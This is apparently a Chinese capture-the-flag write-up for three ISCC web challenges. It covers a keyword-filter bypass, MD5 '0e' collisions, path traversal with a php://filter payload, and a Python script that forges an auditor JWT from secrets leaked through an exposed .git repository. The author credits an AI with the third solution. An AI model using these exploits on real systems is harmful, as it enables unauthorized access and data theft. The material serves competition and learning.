Web1

level1
题目说他对Key这个词很敏感

经过测试会过滤key

双写,kkeyey

level2
提示缺少POST的a

随便交一个,提示数据类型不匹配或常量错误。认证已终止。
怀疑后端会比较类型,给a加一个[],再把上面的Master Const: 1337用上,
post:a[key]=1337
level3

提示还要get一个a和b 而且要碰撞 这里用到md5的碰撞:
网上找了一些:
下列的字符串的MD5值都是0e开头的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
传入a=s155964671a&b=s214587387a
得到flag:ISCC{QN-tGwW0yZD4!1fQ?TXJ0b0)bUag8i}

Web2

访问靶机
分析

给了俩个模式 json美化和 Data URI预览
随便传一个参可以发现生成了 preview_file

data uri传发现必须用data

信息搜集
dirsearch扫一下,发现有robots.txt

访问发现:
Disallow: /api/preview.phpDisallow: /api/beautify.php
/api/beautify.php貌似没啥特别的?
但是/api/preview.php可以在后面跟?file=xxx.tmp查看之前传入的json
此外这里可以通过preview.php查看源码:
/api/preview.php?file=../../var/www/html/src/api/preview.php/api/preview.php?file=../../var/www/html/src/api/beautify.php/api/preview.php?file=../../var/www/html/src/api/config.phppreview.php:
<?phpdeclare(strict_types=1);
header('Content-Type: text/plain; charset=utf-8');header('X-Powered-By: JSON Preview');
error_reporting(0);
require_once __DIR__ . '/config.php';
function out(int $code, string $body): void { http_response_code($code); echo $body; exit;}
function startsWith(string $s, string $prefix): bool { return strncmp($s, $prefix, strlen($prefix)) === 0;}
function schemeOf(string $uri): ?string { $p = strpos($uri, '://'); if ($p === false) return null; $scheme = substr($uri, 0, $p); if (preg_match('/^[a-zA-Z][a-zA-Z0-9+\.\-]*$/', $scheme) !== 1) { return null; } return strtolower($scheme);}
if ($_SERVER['REQUEST_METHOD'] !== 'GET') { out(405, "Method Not Allowed\n");}
if (!isset($_GET['file']) || trim((string)$_GET['file']) === '') { out(200, "JSON Preview API\n\n" . "Usage:\n" . " GET /api/preview.php?file=<name>\n\n" . "有些东西离这里有点远,也许换个路径层级再看看,会遇到更有意思的文件。\n" );}
$file = (string)$_GET['file'];$file = str_replace("\0", '', $file);
$requested = TMP_DIR . '/' . $file;
if (strpos($requested, TMP_DIR) !== 0) { out(400, "Bad path\n");}
$real = realpath($requested);if ($real === false || !is_file($real)) { out(404, "Not Found\n");}
$tmpPrefix = rtrim(TMP_DIR, '/') . '/';$srcPrefix = rtrim(SRC_API_DIR, '/') . '/';
if (!startsWith($real, $tmpPrefix) && !startsWith($real, $srcPrefix)) { out(403, "Forbidden\n");}
$content = file_get_contents($real);if ($content === false) { out(500, "Read error\n");}
$isTmp = startsWith($real, $tmpPrefix) && preg_match('/\.tmp$/', $real) === 1;$line = trim((string)$content);
if ($isTmp) { $scheme = schemeOf($line); if ($scheme !== null) { $deny = [ 'http', 'https', 'ftp', 'ftps', 'phar', 'expect', ]; if (in_array($scheme, $deny, true)) { out(403, "Forbidden scheme\n"); }
$pos = stripos($line, 'resource='); if ($pos === false) { out(400, "Bad reference\n"); }
$resource = rawurldecode(substr($line, $pos + 9)); if ($resource !== FLAG_PATH) { out(403, "Forbidden resource\n"); }
$data = @file_get_contents($line); if ($data === false) { out(500, "Resource read error\n"); } echo $data; exit; }}
echo $content;beautify.php:
<?phpdeclare(strict_types=1);
header('Content-Type: application/json; charset=utf-8');header('X-Powered-By: JSON Beautifier');
error_reporting(0);
require_once __DIR__ . '/config.php';
function respond(int $code, array $payload): void { http_response_code($code); echo json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); exit;}
function ensureTempDir(): void { if (!is_dir(TMP_DIR)) { @mkdir(TMP_DIR, 0700, true); } @chmod(TMP_DIR, 0700);}
function cleanupOldFiles(int $maxAgeSeconds = 300, int $maxScan = 200): void { if (!is_dir(TMP_DIR)) return; $files = @glob(TMP_DIR . '/*.tmp'); if (!$files) return; $now = time(); $n = 0; foreach ($files as $f) { if ($n++ >= $maxScan) break; if (!is_file($f)) continue; $age = $now - @filemtime($f); if ($age > $maxAgeSeconds) { @unlink($f); } }}
ensureTempDir();
if ($_SERVER['REQUEST_METHOD'] === 'GET') { respond(200, [ 'service' => 'JSON Beautifier', 'usage' => 'POST JSON: {"data":"...","preview_type":"raw|data_uri"}', 'preview_api' => '/api/preview.php?file=<preview_id>.tmp' ]);}
if ($_SERVER['REQUEST_METHOD'] !== 'POST') { respond(405, ['error' => 'Method Not Allowed']);}
$raw = file_get_contents('php://input');$data = json_decode($raw, true);
if (!is_array($data)) { respond(400, ['error' => 'Invalid JSON body. Expected JSON like {"data":"...","preview_type":"raw|data_uri"}']);}
$payload = isset($data['data']) ? (string)$data['data'] : '';$previewType = isset($data['preview_type']) ? (string)$data['preview_type'] : 'raw';
if (trim($payload) === '') { respond(400, ['error' => 'Missing field: data']);}
$previewId = 'preview_' . bin2hex(random_bytes(8));$tmpFile = TMP_DIR . '/' . $previewId . '.tmp';
if ($previewType === 'raw') { $decoded = json_decode($payload, true); if (json_last_error() !== JSON_ERROR_NONE) { respond(400, ['error' => 'Field "data" is not valid JSON text']); } $pretty = json_encode($decoded, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); if ($pretty === false) { respond(500, ['error' => 'JSON encode failed']); } file_put_contents($tmpFile, $pretty, LOCK_EX);} elseif ($previewType === 'data_uri') { $prefix = 'data:text/plain;base64,'; if (strpos($payload, $prefix) !== 0) { respond(400, ['error' => 'data_uri must start with: data:text/plain;base64,']); } $b64 = substr($payload, strlen($prefix)); $decoded = base64_decode($b64, true); if ($decoded === false) { respond(400, ['error' => 'Invalid base64 in data_uri']); } if (strlen($decoded) > 4096) { respond(413, ['error' => 'Decoded payload too large']); } file_put_contents($tmpFile, $decoded, LOCK_EX);} else { respond(400, ['error' => 'Invalid preview_type. Use raw or data_uri']);}
@chmod($tmpFile, 0600);
if (random_int(1, 10) === 1) { cleanupOldFiles(300, 200);}
respond(200, [ 'success' => true, 'preview_id' => $previewId, 'preview_file' => $previewId . '.tmp']);config.php:指明了flag的位置
<?phpdeclare(strict_types=1);
const APACHE_DEFAULT_DOCROOT = '/var/www/html';const APACHE_DOCROOT = '/var/www/html/src';
const TMP_DIR = '/tmp/json_preview';const SRC_API_DIR = APACHE_DOCROOT . '/api';const FLAG_PATH = '/secret/flag';思路
通过看上面源码可以得出
preview.php禁止了:
'http', 'https', 'ftp', 'ftps', 'phar', 'expect'
可用的协议:除了这些之外,PHP支持的协议,如file, data, zip, gopher, glob, ssh2 但需要看实际环境。特别地,代码中schemeOf函数要求scheme符合正则,所以有效scheme必须字母开头,后面字母数字+.-。
所以比如data:是可以的。
config.php指明了:
resource=/secret/flag
用伪协议将flag拿出来
构造:
php://filter/read=convert.base64-encode/resource=/secret/flag将它base64,得到:
cGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS9zZWNyZXQvZmxhZw==bp抓包传入:

再用preview.php访问

这里是之前学习时候感觉类似的题目 有类似的知识点
https://blog.csdn.net/2301_79880442/article/details/137148265
Web3
由于ISCC太恶心了累了用AI梭了:
Summary
题目的核心不是 SQL 查询本身,而是误公开的 .git 仓库。通过恢复源码与上一版提交,可以拿到 JWT 调试密钥和内部审计接口的 HMAC 密钥,随后伪造审计员身份并查询节点状态拿到 flag。
Solution
Step 1: 从 .git 泄露恢复关键源码
首页加载的 /static/main.js 明文写入了 window.__buildTrace = "/.git/HEAD",说明站点把 Git 元数据暴露在了 Web 根目录下。
继续访问:
/.git/HEAD得到当前分支/.git/refs/heads/master得到最新提交哈希/.git/objects/...还原提交对象与 tree/blob
恢复出的当前版本源码里有两条关键信息:
- JWT 同时接受
RS256和HS256 HS256使用开发密钥ISCC_2026_JWT_DEBUG_KEY_#9527
而上一版源码里还保留了内部节点查询签名规则:
msg = f"{node_id}:{ts}"sign = HMAC_SHA256_hex("ISCC_SERVER_SECRET_REAL", msg)
Step 2: 伪造审计员 JWT 并查询内部节点
用泄露的 JWT 调试密钥伪造 role=auditor 的 HS256 票据,即可访问 /auditor/nodes。
然后对 core-storage-01 和当前时间戳按旧版规则生成 HMAC 签名并提交,页面会回显 flag。
#!/usr/bin/env python3import base64import hashlibimport hmacimport jsonimport reimport time
import requests
BASE_URL = "http://39.105.213.28:49106"JWT_SECRET = b"ISCC_2026_JWT_DEBUG_KEY_#9527"SERVER_SECRET = b"ISCC_SERVER_SECRET_REAL"NODE_ID = "core-storage-01"
def b64url(data: bytes) -> bytes: return base64.urlsafe_b64encode(data).rstrip(b"=")
def forge_auditor_jwt() -> str: now = int(time.time()) header = {"alg": "HS256", "typ": "JWT"} payload = { "sub": "auditor", "role": "auditor", "iat": now, "exp": now + 3600, "iss": "夜班审计台", } p1 = b64url(json.dumps(header, separators=(",", ":")).encode()) p2 = b64url(json.dumps(payload, separators=(",", ":"), ensure_ascii=False).encode()) p3 = b64url(hmac.new(JWT_SECRET, p1 + b"." + p2, hashlib.sha256).digest()) return (p1 + b"." + p2 + b"." + p3).decode()
def calc_probe_sign(node_id: str, ts: int) -> str: return hmac.new(SERVER_SECRET, f"{node_id}:{ts}".encode(), hashlib.sha256).hexdigest()
def main(): token = forge_auditor_jwt() ts = int(time.time()) sign = calc_probe_sign(NODE_ID, ts)
resp = requests.post( f"{BASE_URL}/auditor/nodes", headers={"Cookie": f"audit_token={token}"}, data={"node_id": NODE_ID, "ts": str(ts), "sign": sign}, timeout=10, ) resp.raise_for_status()
flag = re.search(r"(ISCC\\{[^}]+\\})", resp.text).group(1) print(flag)
if __name__ == "__main__": main()示例输出:
ISCC{distributed_audit_jwt}Flag
ISCC{distributed_audit_jwt}如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时












